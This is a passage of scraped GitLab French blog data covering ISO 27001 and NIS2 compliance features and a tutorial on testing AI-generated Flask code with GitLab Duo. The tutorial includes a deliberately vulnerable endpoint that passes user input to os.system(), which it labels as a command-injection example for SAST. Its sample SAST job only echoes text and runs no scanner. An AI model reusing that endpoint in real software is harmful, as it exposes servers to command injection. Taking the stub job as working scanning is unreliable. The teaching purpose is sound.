[outils de planification](https://about.gitlab.com/features/?stage=plan).\n\n- Les fonctionnalités de [planification d'équipe](https://about.gitlab.com/features/?stage=plan#team_planning) de GitLab permettent aux utilisateurs d'organiser et de planifier les différentes étapes d'un projet et d’en suivre son avancement, de l'idée à la production.\n\n- Vous pouvez échanger sur vos idées, résoudre des problèmes et planifier vos tâches avec l'équipe de sécurité de l'information grâce aux [epics](https://docs.gitlab.com/ee/user/group/epics/), [tickets](https://docs.gitlab.com/ee/user/project/issues/) et [tâches](https://docs.gitlab.com/ee/user/tasks.html). Les [modèles de description](https://docs.gitlab.com/ee/user/project/description_templates.html) et les [check-lists](https://docs.gitlab.com/ee/user/markdown.html#task-lists) permettent aux utilisateurs d'appliquer systématiquement une description et un workflow aux tickets ou aux [merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/index.html). Ces modèles permettent une approche structurée de l'intégration de la sécurité de l'information dans votre cycle de vie de gestion de projet.\n\n- Les [labels](https://docs.gitlab.com/ee/user/project/labels.html) permettent aux utilisateurs d'organiser les tickets en fonction de leurs besoins. Pour assurer le maintien de la sécurité de l'information, utilisez les labels afin d'identifier le niveau de risque associé à un projet, l'étape à laquelle il se trouve, ou encore l'équipe de sécurité de l'information responsable d'un ensemble de tâches. Vous pouvez également profiter des [labels à portée limitée](https://docs.gitlab.com/ee/user/project/labels.html#scoped-labels) (ou Scoped labels) pour ajouter une logique supplémentaire aux workflows en empêchant l'utilisation simultanée de certains labels. Chez GitLab, nous utilisons les [labels à portée limitée](https://docs.gitlab.com/ee/user/project/labels.html#scoped-labels) pour identifier les équipes auxquelles sont attribuées les tâches, l'étape du projet dans laquelle elles se trouvent, et le produit ou l'ensemble de fonctionnalités qui leur sont associés.\n\n![Scoped Labels](https://about.gitlab.com/images/blogimages/2023-08-24-how-gitlab-can-support-your-iso-compliance-journey/scoped-labels.png)\n\nLabels à portée limitée\n\n- Vous pouvez organiser davantage votre travail et obtenir une vue d'ensemble de toutes les tâches associées à un groupe ou à un projet grâce aux tableaux des tickets du [groupe](https://docs.gitlab.com/ee/user/project/issue_board.html#group-issue-boards) et du [projet](https://about.gitlab.com/stages-devops-lifecycle/issueboard/).\n\n## Contrôles technologiques\n\n| ID de contrôle | Description du contrôle |\n| ---- | ---- |\n| 8.8 Gestion des vulnérabilités techniques | Des informations sur les vulnérabilités techniques des systèmes d'information utilisés doivent être obtenues, l'exposition de l'organisme à ces vulnérabilités doit être évaluée et des mesures appropriées doivent être prises. |\n| 8.9 Gestion des configurations | Les configurations, y compris les configurations de sécurité, du matériel, des logiciels, des services et des réseaux, doivent être définies, documentées, mises en œuvre, surveillées et révisées. |\n| 8.25 Cycle de développement sécurisé | Des règles pour le développement sécurisé des logiciels et des systèmes doivent être établies et appliquées. |\n| 8.26 Exigences de sécurité des applications | Les exigences en matière de sécurité de l'information doivent être identifiées, spécifiées et approuvées lors du développement ou de l'acquisition d'applications. |\n| 8.27 Principes d'ingénierie et d'architecture des systèmes sécurisés | Des principes d'ingénierie des systèmes sécurisés doivent être établis, documentés, tenus à jour et appliqués à toutes les activités de développement de systèmes d'information. |\n\nAvec GitLab, vous pouvez stocker vos configurations matérielles et logicielles, maintenir le contrôle de version, mettre à jour vos configurations via des [merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/index.html) et recourir aux [pipelines CI/CD](https://docs.gitlab.com/ee/ci/pipelines/) de GitLab pour pousser ces configurations vers vos applications et votre infrastructure. GitLab permet également aux entreprises d’adopter une approche [GitOps](https://about.gitlab.com/topics/gitops/) via une plateforme unique.\n\nLa fonctionnalité [d'analyse de l'infrastructure en tant que code](https://docs.gitlab.com/ee/user/application_security/iac_scanning/) de GitLab vous permet d'analyser vos fichiers de configuration IaC à la recherche de vulnérabilités connues. L'analyse IaC de GitLab prend en charge une variété de fichiers et de langues de configuration IaC, ce qui la rend adaptable à différentes piles technologiques.\n\nGitLab permet aux professionnels de la conformité de mettre en œuvre l'automatisation via des [frameworks de conformité](https://docs.gitlab.com/ee/user/group/compliance_frameworks.html) et des [pipelines de conformité](https://docs.gitlab.com/ee/user/group/compliance_frameworks.html#compliance-pipelines). Ces fonctionnalités permettent aux utilisateurs d'identifier les projets critiques qui possèdent certaines exigences de conformité et d'y pousser des configurations via des pipelines. Elles permettent également une application uniforme des contrôles, soutenant ainsi votre posture de sécurité et facilitant le respect des exigences de conformité internes et externes de votre entreprise.\n\nPour les clients [Ultimate](https://about.gitlab.com/pricing/ultimate/), le [Centre de conformité](https://docs.gitlab.com/ee/user/compliance/compliance_center/index.html) de GitLab fournit une vue centralisée de la posture de conformité d'un groupe en mettant par exemple en évidence les différents frameworks de conformité appliqués aux projets du groupe. Vous pouvez même évaluer votre degré de conformité à la [norme GitLab](https://docs.gitlab.com/ee/user/compliance/compliance_center/index.html#gitlab-standard).\n\n\u003Cbr>\n\n| ID de contrôle | Description du contrôle |\n| ---- | ---- |\n| 8.15 Journalisation | Les journaux qui enregistrent les activités, les exceptions, les défaillances et autres événements pertinents doivent être générés, stockés, protégés et analysés. |\n| 8.16 Activités de surveillance | Les réseaux, systèmes et applications doivent être surveillés pour détecter les comportements anormaux et des mesures appropriées doivent être prises pour évaluer les éventuels incidents en matière de sécurité de l'information. |\n\nDans GitLab, vous pouvez utiliser les [événements d'audit](https://docs.gitlab.com/ee/administration/audit_events.html) pour suivre les événements importants, y compris l'auteur de chaque action et sa date d'exécution. Les événements d'audit couvrent un large éventail de catégories, notamment :\n* Gestion des groupes\n* Authentification et autorisation\n* Gestion des utilisateurs\n* Conformité et sécurité\n* CI/CD\n* GitLab Runners\n\n![Événements d'audit](https://about.gitlab.com/images/blogimages/2023-08-24-how-gitlab-can-support-your-iso-compliance-journey/example-of-an-audit-event.png)\n\nExemple d'événement d'audit\n{: .note.text-center}\n\nLe [streaming d'événements d'audit](https://docs.gitlab.com/ee/administration/audit_event_streaming/index.html) est disponible pour les clients [Ultimate](https://about.gitlab.com/pricing/ultimate/). Le streaming d'événements d'audit permet aux utilisateurs de définir une destination de streaming pour un groupe principal ou une instance principale afin de recevoir tous les événements d'audit du groupe, des sous-groupes et des projets sous forme de document JSON structuré.\n\n\u003Cbr>\n\n| ID de contrôle | Description du contrôle |\n| ---- | ---- |\n| 8.28 Codage sécurisé | Des principes de codage sécurisé doivent être appliqués au développement de logiciels. |\n| 8.29 Tests de sécurité dans le développement et l'acceptation | Des processus pour les tests de sécurité doivent être définis et mis en œuvre au cours du cycle de développement. | \n\nVous pouvez optimiser votre cycle de développement logiciel et améliorer la sécurité de vos produits grâce aux fonctionnalités de la phase de [sécurisation](https://about.gitlab.com/features/?stage=secure) de GitLab. Les fonctionnalités de cette phase comprennent :\n* [Des tests statiques de sécurité des applications (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/)\n* [Des tests dynamiques de sécurité des applications (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/)\n* [La qualité du code](https://docs.gitlab.com/ee/ci/testing/code_quality.html)\n* [L'analyse des conteneurs](https://docs.gitlab.com/ee/user/application_security/container_scanning/)\n* [L'analyse des dépendances](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/)\n\nEt bien plus encore !\n\n![Découvertes relatives à la qualité du code](https://about.gitlab.com/images/blogimages/2023-08-24-how-gitlab-can-support-your-iso-compliance-journey/code-quality-findings.png)\n\nDécouvertes relatives à la qualité du code\n{: .note.text-center}\n\nLes fuites de secrets sont à l'origine de nombreuses failles de sécurité. La [détection des secrets](https://docs.gitlab.com/ee/user/application_security/secret_detection/) de GitLab analyse votre dépôt pour empêcher l'exposition de vos secrets.\n\nLa fonctionnalité [Stratégies](https://docs.gitlab.com/ee/user/application_security/policies/) de GitLab permet aux utilisateurs d'implémenter des stratégies d'[exécution d'analyse](https://docs.gitlab.com/ee/user/application_security/policies/scan-execution-policies.html) et de [résultat d'analyse](https://docs.gitlab.com/ee/user/application_security/policies/scan-result-policies.html) basées sur une logique configurée. Ces stratégies combinent les capacités d'analyse de la phase de [sécurisation](https://about.gitlab.com/features/?stage=secure) avec les [approbations des merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/) pour répondre davantage aux exigences de conformité.\n\nUne fois réunies, ces fonctionnalités établissent les bases d'un programme de cycle de vie de développement logiciel sécurisé et vous permettent d'implémenter des principes de codage sécurisé conformément aux exigences de votre entreprise.\n\n\u003Cbr>\n\n| ID de contrôle | Description du contrôle |\n| ---- | ---- |\n| 8.32 Gestion des changements | Les changements apportés aux moyens de traitement de l'information et aux systèmes d'information doivent être soumis à des procédures de gestion des modifications. |\n\nGitLab offre de nombreuses fonctionnalités permettant de prendre en charge un programme complet de gestion des modifications.\n\nLes fonctionnalités de gestion du code source de GitLab permettent aux utilisateurs de créer des [branches protégées](https://docs.gitlab.com/ee/user/project/protected_branches.html). Elles permettent aux utilisateurs de GitLab d'imposer des restrictions à certaines branches considérées comme essentielles à leurs opérations. Une branche protégée permet de contrôler :\n* quels utilisateurs peuvent fusionner dans la branche\n* quels utilisateurs peuvent effectuer un push vers la branche\n* si les utilisateurs peuvent forcer un push vers la branche\n* si les modifications apportées aux fichiers répertoriés dans le fichier CODEOWNERS peuvent faire l’objet d’un push directement vers la branche\n* quels utilisateurs peuvent retirer la protection de la branche\n\nLa [branche par défaut](https://docs.gitlab.com/ee/user/project/repository/branches/default.html) d'un dépôt devient automatiquement une branche protégée.\n\n![Branches protégées](https://about.gitlab.com/images/blogimages/2023-08-24-how-gitlab-can-support-your-iso-compliance-journey/protected-branches-settings-within-gitlab.png)\n\nParamètres des branches protégées dans GitLab\n{: .note.text-center}\n\nLes merge requests (MR) sont essentielles dans le cycle de vie du développement logiciel. Les utilisateurs de GitLab peuvent configurer leurs MR de sorte qu'elles doivent être approuvées avant d'être fusionnées. Les utilisateurs peuvent définir le nombre minimum d'approbations requises avant qu'un travail puisse être fusionné dans un projet. Voici quelques exemples de règles que vous pouvez créer :\n* Les utilisateurs disposant d'autorisations spécifiques peuvent toujours approuver le travail.\n* Les [propriétaires du code](https://docs.gitlab.com/ee/user/project/codeowners/index.html) peuvent approuver le travail pour leurs fichiers.\n* Les utilisateurs disposant d'autorisations spécifiques peuvent approuver le travail, [même s'ils ne disposent pas des droits de fusion](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html#merge-request-approval-segregation-of-duties) pour le dépôt.\n* Les utilisateurs disposant d'autorisations spécifiques peuvent être autorisés ou privés de la possibilité de [redéfinir les règles d'approbation d'une merge request spécifique](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html#edit-or-override-merge-request-approval-rules).\n\nComme mentionné précédemment, vous pouvez utiliser les [tickets](https://docs.gitlab.com/ee/user/project/issues/) et les [tâches](https://docs.gitlab.com/ee/user/tasks.html) pour documenter les demandes de modification et collaborer à celles-ci. Les [modèles de description](https://docs.gitlab.com/ee/user/project/description_templates.html) permettent aux utilisateurs d'appliquer systématiquement une description aux tickets ou aux [MR](https://docs.gitlab.com/ee/user/project/merge_requests/index.html). Ces modèles permettent une approche structurée de la demande de modifications adaptée à vos besoins spécifiques.\n\n## En savoir plus\nEn tant que plateforme DevSecOps complète, GitLab vous permet de répondre à un large éventail d'exigences. La version 2022 de la norme ISO a ajouté des contrôles supplémentaires autour du codage sécurisé et de la gestion de la configuration. Ces ajouts prouvent que les organismes de certification se concentrent davantage sur la sécurité des logiciels. En tant que partenaire stratégique, GitLab peut vous aider à vous conformer à la norme ISO 27001 et à développer de meilleurs logiciels plus rapidement.\n\nPour en savoir plus sur ces fonctionnalités, consultez notre bibliothèque de [tutoriels](https://docs.gitlab.com/ee/tutorials/).",[9,702,879],"customers","2024-07-31",{"slug":882,"featured":6,"template":689},"how-gitlab-can-support-your-iso-compliance-journey","content:fr-fr:blog:how-gitlab-can-support-your-iso-compliance-journey.yml","How Gitlab Can Support Your Iso Compliance Journey","fr-fr/blog/how-gitlab-can-support-your-iso-compliance-journey.yml","fr-fr/blog/how-gitlab-can-support-your-iso-compliance-journey",{"_path":888,"_dir":246,"_draft":6,"_partial":6,"_locale":7,"seo":889,"content":895,"config":901,"_id":903,"_type":13,"title":904,"_source":15,"_file":905,"_stem":906,"_extension":18},"/fr-fr/blog/how-gitlab-duo-helps-secure-and-thoroughly-test-ai-generated-code",{"title":890,"description":891,"ogTitle":890,"ogDescription":891,"noIndex":6,"ogImage":892,"ogUrl":893,"ogSiteName":673,"ogType":674,"canonicalUrls":893,"schema":894},"Développement de GitLab Duo : tester et sécuriser le code généré par l'IA ","Découvrez, étape par étape, comment améliorer la fiabilité et la sécurité du code généré par l'IA à l'aide de GitLab Duo et de GitLab Pages.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097183/Blog/Hero%20Images/Blog/Hero%20Images/blog-hero-banner-1-0178-820x470-fy25_7JlF3WlEkswGQbcTe8DOTB_1750097183481.png","https://about.gitlab.com/blog/how-gitlab-duo-helps-secure-and-thoroughly-test-ai-generated-code","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Développement de GitLab Duo : tester et sécuriser le code généré par l'IA \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David O'Regan\"}],\n        \"datePublished\": \"2024-05-30\",\n      }\n                  ",{"title":890,"description":891,"authors":896,"heroImage":892,"date":898,"body":899,"category":729,"tags":900},[897],"David O'Regan","2024-05-30","___L'IA générative marque une avancée majeure dans le domaine du développement logiciel, simplifiant le processus de développement, de sécurisation et d'exploitation des logiciels. Notre nouvelle série d'articles de blog, rédigée par nos équipes produit et ingénierie, vous propose un aperçu de notre processus de création, de test et de déploiement des fonctionnalités d'IA que vous avez besoin d'intégrer dans l'ensemble de l'entreprise. Explorez les nouvelles capacités de GitLab Duo et découvrez comment elles aideront les équipes DevSecOps à livrer de meilleurs résultats aux clients.___\n\nAlors que l’intelligence artificielle continue de révolutionner le domaine du développement logiciel, il est essentiel d’effectuer des tests approfondis du code qu’elle génère pour en assurer sa sécurité. Découvrez dans cet article comment combiner [GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo/), notre suite de fonctionnalités d'IA qui alimente le workflow DevSecOps, et [GitLab Pages](https://docs.gitlab.com/ee/user/project/pages/) afin de tester rigoureusement et de sécuriser le code généré par l'IA. \n\n## Les défis du code généré par l'IA\n\nLe code généré par l'IA n'est pas toujours parfait et peut parfois être affecté par différents types de problèmes, parmi lesquels : des algorithmes incorrects ou incomplets, des problèmes de dépendance, ou encore des failles de sécurité.\n\nD'après une [étude publiée par l'Association of Computing Machinery](https://dl.acm.org/doi/pdf/10.1145/3613904.3642596), qui a analysé les réponses fournies par ChatGPT aux questions de programmation, 52 % des réponses contenaient des informations incorrectes et 77 % étaient jugées trop prolixes. Malgré ces lacunes, les utilisateurs ont préféré les réponses complètes et bien articulées de ChatGPT dans 35 % des cas, allant même jusqu'à ignorer les informations incorrectes dans 39 % des cas. Pour surmonter ces défis, il est donc essentiel de recourir à des outils et frameworks avancés.\n\n## L'approche de GitLab en matière de sécurité et de tests de l'IA\n\nGitLab a élaboré une stratégie de contenu complète axée sur l’intégration de mesures de sécurité dans le workflow de développement. En tirant parti de GitLab Duo pour la génération de code alimentée par l'IA et de GitLab Pages pour intégrer des rapports de test, les développeurs peuvent ainsi s'assurer que leur code généré par l'IA est à la fois sécurisé et fiable.\n\nVoici un guide détaillé pour intégrer GitLab Duo et GitLab Pages avec un [serveur Web Flask](https://flask.palletsprojects.com/en/3.0.x/).\n\n### 1. Créez un nouveau projet sur GitLab.com\n\n- Accédez à [GitLab.com](http://GitLab.com).\n- Cliquez sur le bouton « Nouveau projet ».\n- Sélectionnez « Créer un projet vide ».\n- Attribuez un nom au projet (par exemple, AI_Code_Security).\n- Définissez le niveau de visibilité (Privé, Interne ou Public).\n- Cliquez sur « Créer le projet ».\n\n### 2. Activez les suggestions de code de GitLab Duo\n\n- Accédez à votre projet.\n- Cliquez sur le bouton « Web IDE » pour ouvrir le Web IDE.\n- Assurez-vous que les fonctionnalités de GitLab Duo, telles que les suggestions de code et GitLab Duo Chat, sont activées.\n- Commencez à coder dans le [Web IDE](https://docs.gitlab.com/ee/user/project/web_ide/). GitLab Duo vous propose des suggestions de code en temps réel pour améliorer votre programmation.\n\n### 3. Créez un serveur Web Flask\n\nVous pouvez créer un serveur Web Flask en utilisant le commentaire (surligné en vert) dans la capture d'écran ci-dessous.\n\n![Test DGD - image 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097192/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097192520.png)\n\n### 4. Générez des tests avec GitLab Duo\n\nLes tests unitaires sont essentiels pour valider la fonctionnalité du code généré. Utilisez la commande `/tests` de GitLab Duo pour [générer des suggestions de tests directement dans le Web IDE](https://docs.gitlab.com/ee/user/gitlab_duo_chat_examples.html#write-tests-in-the-ide). Cette commande peut être adaptée pour inclure des instructions supplémentaires afin de se concentrer sur certains aspects tels que la performance, la régression ou l'utilisation de frameworks spécifiques.\n\n##### Exemple d'utilisation dans le Web IDE :\n\n- Sélectionnez le code pour lequel vous souhaitez générer des tests.\n- Utilisez la commande `/tests` suivie d'instructions supplémentaires si nécessaire.\n\n![Test DGD - image 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097192/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097192521.png)\n\n### 5. Identifiez les problèmes liés au code généré par l'IA à l'aide de GitLab Duo Chat\n\nEffectuez une revue de code avec GitLab Duo Chat et affinez le code généré par l'IA. Par exemple, vous pouvez rechercher des vulnérabilités de sécurité dans le code du serveur Web Flask :\n\n```unset\nPrompt : Examinez ce code pour détecter d'éventuelles vulnérabilités en matière de sécurité et des problèmes de dépendance.\n```\n\n![Test DGD - image 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097192/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097192523.png)\n\nGitLab Duo Chat peut permettre d'identifier les vulnérabilités dans le code ci-dessus.\n\n### 6. Générez des rapports de test\nAprès avoir effectué vos tests, générez un rapport de test qui sera déployé à l'aide de GitLab Pages.\n\n```unset\nPrompt : Écrivez-moi un script Python pour générer un rapport de test qui sera déployé à l'aide de GitLab Pages.\n```\n\n![Test DGD - image 4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097192/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097192525.png)\n\nVoici l'exécution du prompt :\n\n- Le script s'assure de l'existence du répertoire test_reports.\n- Il exécute le fichier `test_server.py` à l'aide de `subprocess.run()`, en capturant la sortie.\n- La sortie brute est enregistrée dans `test_reports/test_output.txt`.\n- Un rapport HTML est généré. Il est enregistré sous `test_reports/index.html` et intègre la sortie du test dans des balises `\u003Cpre>` pour en assurer la lisibilité.\n\n### 7. Déployez le rapport de test avec GitLab Pages\n\nUtilisez [GitLab Pages](https://docs.gitlab.com/ee/user/project/pages/) pour héberger et afficher le rapport de test. Voici la configuration de notre fichier `.gitlab-ci.yml` pour déployer le rapport de test.\n\n```python\n\nstages:\n  - test\n  - deploy\ntest_job:\n  stage: test\n  script:\n    - python generate_test_report.py\n  artifacts:\n    paths:\n      - test_reports/\npages:\n  stage: deploy\n  script:\n    - mv test_reports public\n  artifacts:\n    paths:\n      - public\n\n ```\n\nAvec cette configuration, l'étape `test_job` exécute le script Python pour générer le rapport de test. L'étape `pages` déplace le répertoire `test_reports` vers `public` que GitLab Pages utilise pour diffuser le contenu.\n\n### 8. Intégrez les rapports de test dans les widgets MR\n\nL'intégration des [rapports de test dans les widgets MR](https://docs.gitlab.com/ee/ci/testing/unit_test_reports.html) permet de visualiser immédiatement les résultats des tests. Vous pouvez ainsi inclure le rapport de test en tant qu'artefact dans la configuration de votre [pipeline CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ? \") :\n\n```python\n\nstages:\n  - build\n  - test\n  - deploy\n\nbuild_job:\n  stage: build\n  script:\n    - echo \"Building the project...\"\n    - # Your build commands here\n\ntest_job:\n  stage: test\n  script:\n    - mkdir -p test-reports\n    - python test_server.py > test-reports/results.xml\n  artifacts:\n    when: always\n    reports:\n      junit: test-reports/results.xml\n    paths:\n      - test-reports/results.xml\n\npages:\n  stage: deploy\n  script:\n    - mkdir .public\n    - mv test-reports .public/\n  artifacts:\n    paths:\n      - .public\n\n```\nEn incluant le rapport de test en tant qu'artefact et en l'indiquant dans la section des rapports, GitLab affiche automatiquement les résultats des tests dans les widgets MR. Vous disposez alors d'une visibilité immédiate sur les résultats des tests, renforçant ainsi la transparence et la fiabilité du processus de développement.\n\n### Étude de cas \n\nImaginez qu'un extrait de code généré par l'IA introduise une dépendance présentant des vulnérabilités connues. Avec ses stratégies de sécurité, GitLab Duo signalerait cette dépendance lors du processus de génération de code. Dans l'exemple ci-dessous, l'extrait de code a été généré par l'IA :\n\n```python\n\nimport os\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route('/search')\ndef search():\n    query = request.args.get('query')\n    execute_os_command(query)\n    return 'You searched for: ' + query\n\ndef execute_os_command(command):\n    os.system(command)\n\nif __name__ == '__main__':\n    app.run()\n\n```\n\nDans cet exemple, le point de terminaison de recherche est exposé à une vulnérabilité d'injection de commandes dans le système d'exploitation. Grâce au test statique de sécurité des applications ([SAST](https://docs.gitlab.com/ee/user/application_security/sast/)) de GitLab, cette vulnérabilité serait détectée lors de l'exécution du pipeline CI/CD.\n\n##### Intégrez le scan SAST pour détecter les vulnérabilités\n\nLe SAST de GitLab analyse automatiquement votre code à la recherche de failles de sécurité. Voici comment l'intégrer dans votre fichier `.gitlab-ci.yml` pour détecter des problèmes :\n\n```python\n\nstages:\n  - build\n  - test\n  - sast\n  - deploy\n\nbuild_job:\n  stage: build\n  script:\n    - echo \"Building the project...\"\n    - # Your build commands here\n\ntest_job:\n  stage: test\n  script:\n    - python test_server.py > test-reports/results.xml\n  artifacts:\n    when: always\n    reports:\n      junit: test-reports/results.xml\n    paths:\n      - test-reports/results.xml\n\nsast_job:\n  stage: sast\n  script:\n    - echo \"Running SAST...\"\n  artifacts:\n    reports:\n      sast: gl-sast-report.json\n  only:\n    - branches\n\npages:\n  stage: deploy\n  script:\n    - mv test-reports public\n  artifacts:\n    paths:\n      - public\n\n```\n\nDans cette configuration, l'étape `sast_job` exécute le SAST pour détecter les vulnérabilités dans le code. Un rapport est généré (`gl-sast-report.json`), qui sera inclus dans les artefacts du pipeline. En intégrant des stratégies de sécurité et des frameworks de test robustes, GitLab Duo aide ses clients à s'assurer que leur code généré par l'IA est à la fois efficace et sécurisé.\n\n## Commencez dès maintenant\nL'utilisation de l'IA dans le développement logiciel est très prometteuse, mais présente également de nouveaux défis à relever. En exploitant les fonctionnalités avancées d'outils tels que GitLab Duo et GitLab Pages, les développeurs peuvent désormais réaliser des tests approfondis du code produit par l'IA pour garantir sa sécurité et sa fiabilité. \n\n> [Testez GitLab Ultimate gratuitement](https://gitlab.com/-/trials/new?glm_content=+default-saas-trial&glm_source=about.gitlab.com%2Fblog) et accédez aux fonctionnalités avancées de GitLab Duo et GitLab Pages.\n\n## En savoir plus sur la série d’articles dédiée au « Développement de GitLab Duo »\n\n- [Comment nous validons et testons les modèles d'IA à grande échelle](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-how-we-validate-and-test-ai-models-at-scale/)\n- [Mesurer le ROI de l’IA avec le tableau de bord d'analyse d'impact](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/)\n- [Comment nous utilisons nos propres fonctionnalités d’IA](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-how-we-are-dogfooding-our-ai-features/)\n",[685,684,731,9],{"slug":902,"featured":6,"template":689},"how-gitlab-duo-helps-secure-and-thoroughly-test-ai-generated-code","content:fr-fr:blog:how-gitlab-duo-helps-secure-and-thoroughly-test-ai-generated-code.yml","How Gitlab Duo Helps Secure And Thoroughly Test Ai Generated Code","fr-fr/blog/how-gitlab-duo-helps-secure-and-thoroughly-test-ai-generated-code.yml","fr-fr/blog/how-gitlab-duo-helps-secure-and-thoroughly-test-ai-generated-code",{"_path":908,"_dir":246,"_draft":6,"_partial":6,"_locale":7,"seo":909,"content":915,"config":920,"_id":922,"_type":13,"title":923,"_source":15,"_file":924,"_stem":925,"_extension":18},"/fr-fr/blog/how-gitlab-helps-meet-nis2-requirements",{"title":910,"description":911,"ogTitle":910,"ogDescription":911,"noIndex":6,"ogImage":912,"ogUrl":913,"ogSiteName":673,"ogType":674,"canonicalUrls":913,"schema":914},"Comment se conformer aux exigences de la directive NIS2 avec GitLab ","La directive NIS2 se concentre sur la résilience, la réponse aux incidents et la gestion des risques. Découvrez comment GitLab vous permet de répondre à ces exigences de conformité.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659437/Blog/Hero%20Images/AdobeStock_398929148.jpg","https://about.gitlab.com/blog/how-gitlab-helps-meet-nis2-requirements","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Comment se conformer aux exigences de la directive NIS2 avec GitLab \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joseph Longo\"}],\n        \"datePublished\": \"2024-08-20\",\n      }",{"title":910,"description":911,"authors":916,"heroImage":912,"date":917,"body":918,"category":9,"tags":919},[875],"2024-08-20","Les organismes gouvernementaux et législatifs du monde entier promulguent régulièrement de nouvelles lois et exigences pour faire face au risque croissant posé par notre quotidien de plus en plus numérisé et les menaces de cybersécurité qui en résultent. La [directive NIS2](https://eur-lex.europa.eu/eli/dir/2022/2555) de l'Union européenne vise à renforcer la cybersécurité en se concentrant sur des compétences essentielles telles que la résilience, la réponse aux incidents et la gestion des risques.\n\nEn tant que plateforme DevSecOps alimentée par l'IA la plus complète, GitLab est utilisée dans le monde entier pour développer des logiciels de qualité plus rapidement. La diversité des fonctionnalités de GitLab en fait un atout unique et précieux, capable de répondre aux nombreux besoins de nos clients en matière de [sécurité et de conformité](https://about.gitlab.com/fr-fr/solutions/security-compliance/). \n\nDans cet article, explorons ensemble la façon dont vous pouvez vous appuyer sur notre plateforme pour accompagner vos efforts de conformité à la directive NIS2.\n\n## Article 7 : Stratégie nationale en matière de cybersécurité\n\n**Section 2(a) : la cybersécurité dans le cadre de la chaîne d’approvisionnement des produits et services TIC utilisés par des entités pour la fourniture de leurs services.**\n\nLa directive NIS2 exige que les États membres adoptent des politiques en matière de cybersécurité dans la chaîne d'approvisionnement. \n\nBien que celles-ci doivent encore être définies par chaque État membre, GitLab dispose d’une suite de fonctionnalités permettant aux clients de [gérer la sécurité](https://about.gitlab.com/fr-fr/solutions/security-compliance/ \"Sécurité et gouvernance de GitLab\") de leur offre de services, ainsi que celle de leur chaîne d'approvisionnement :\n\n- Les [tests statiques de sécurité des applications (SAST)](https://about.gitlab.com/features/?stage=secure#static_application_security_testing), l'[analyse de sécurité de l'infrastructure en tant que code](https://docs.gitlab.com/ee/user/application_security/iac_scanning/) et les [tests dynamiques de sécurité des applications (DAST)](https://about.gitlab.com/features/?stage=secure#dynamic_application_security_testing) permettent aux clients d'analyser leur code source et leurs fichiers de définition d'infrastructure, ainsi que leurs applications en cours d'exécution pour détecter d'éventuelles vulnérabilités. Les résultats peuvent ensuite être triés et traités conformément aux processus de chaque entreprise.\n\n- La fonctionnalité d'[analyse des conteneurs](https://about.gitlab.com/features/?stage=secure#container_scanning) de GitLab aide les clients à identifier les vulnérabilités connues dans leurs images de conteneurs.\n\n![Rapport de l'analyse des conteneurs](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674396/Blog/Content%20Images/Screenshot_2024-08-20_at_10.38.54.png)\n\n- Au niveau de la chaîne d'approvisionnement, l'[analyse des dépendances](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) aide à identifier les vulnérabilités connues dans les dépendances des applications des clients. La [conformité des licences logicielles](https://docs.gitlab.com/ee/user/compliance/license_approval_policies.html) étend la portée de l'analyse des dépendances en déterminant si les licences des dépendances répondent à un ensemble de critères déterminés par l'entreprise.\n\n- Avec la [liste des dépendances](https://docs.gitlab.com/ee/user/application_security/dependency_list/) de GitLab, les entreprises peuvent créer une [nomenclature logicielle (SBOM)](https://about.gitlab.com/fr-fr/blog/the-ultimate-guide-to-sboms/ \"Qu'est-ce qu'une nomenclature logicielle (SBOM) ?\") CycloneDX. Pour en savoir plus, consultez [ce tutoriel dédié à l'exportation d'une SBOM](https://docs.gitlab.com/ee/tutorials/export_sbom.html).\n\nLa combinaison de ces fonctionnalités d'analyse contribue à la création d'un ensemble de tests complet et efficace, capable de prendre en charge des processus robustes de développement d'applications et de gestion de la chaîne d'approvisionnement. Le DAST, l'analyse des dépendances et la conformité des licences logicielles sont disponibles avec un abonnement à GitLab Ultimate.\n\n> [Essayez GitLab Ultimate gratuitement pendant 30 jours](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial).\n\n## Article 21 : Mesures de gestion des risques en matière de cybersécurité\n\nLa directive NIS2 exige des États membres qu'ils veillent à ce que les entités essentielles et importantes mettent en œuvre des mesures techniques, organisationnelles et opérationnelles appropriées visant à gérer correctement les risques et atténuer l'impact subi par les utilisateurs à la suite d'incidents affectant leurs services.\n\n**Section 2(d) : la sécurité de la chaîne d’approvisionnement, y compris les aspects liés à la sécurité concernant les relations entre chaque entité et ses fournisseurs ou prestataires de services directs.**\n\nL'étape de [sécurisation](https://about.gitlab.com/fr-fr/solutions/security-compliance/) de GitLab permet aux clients de mettre en place un large éventail de capacités de détection et de réponse qui améliorent la sécurité de leur code et résout les risques au sein de leurs chaînes d'approvisionnement.\n\nCes fonctionnalités 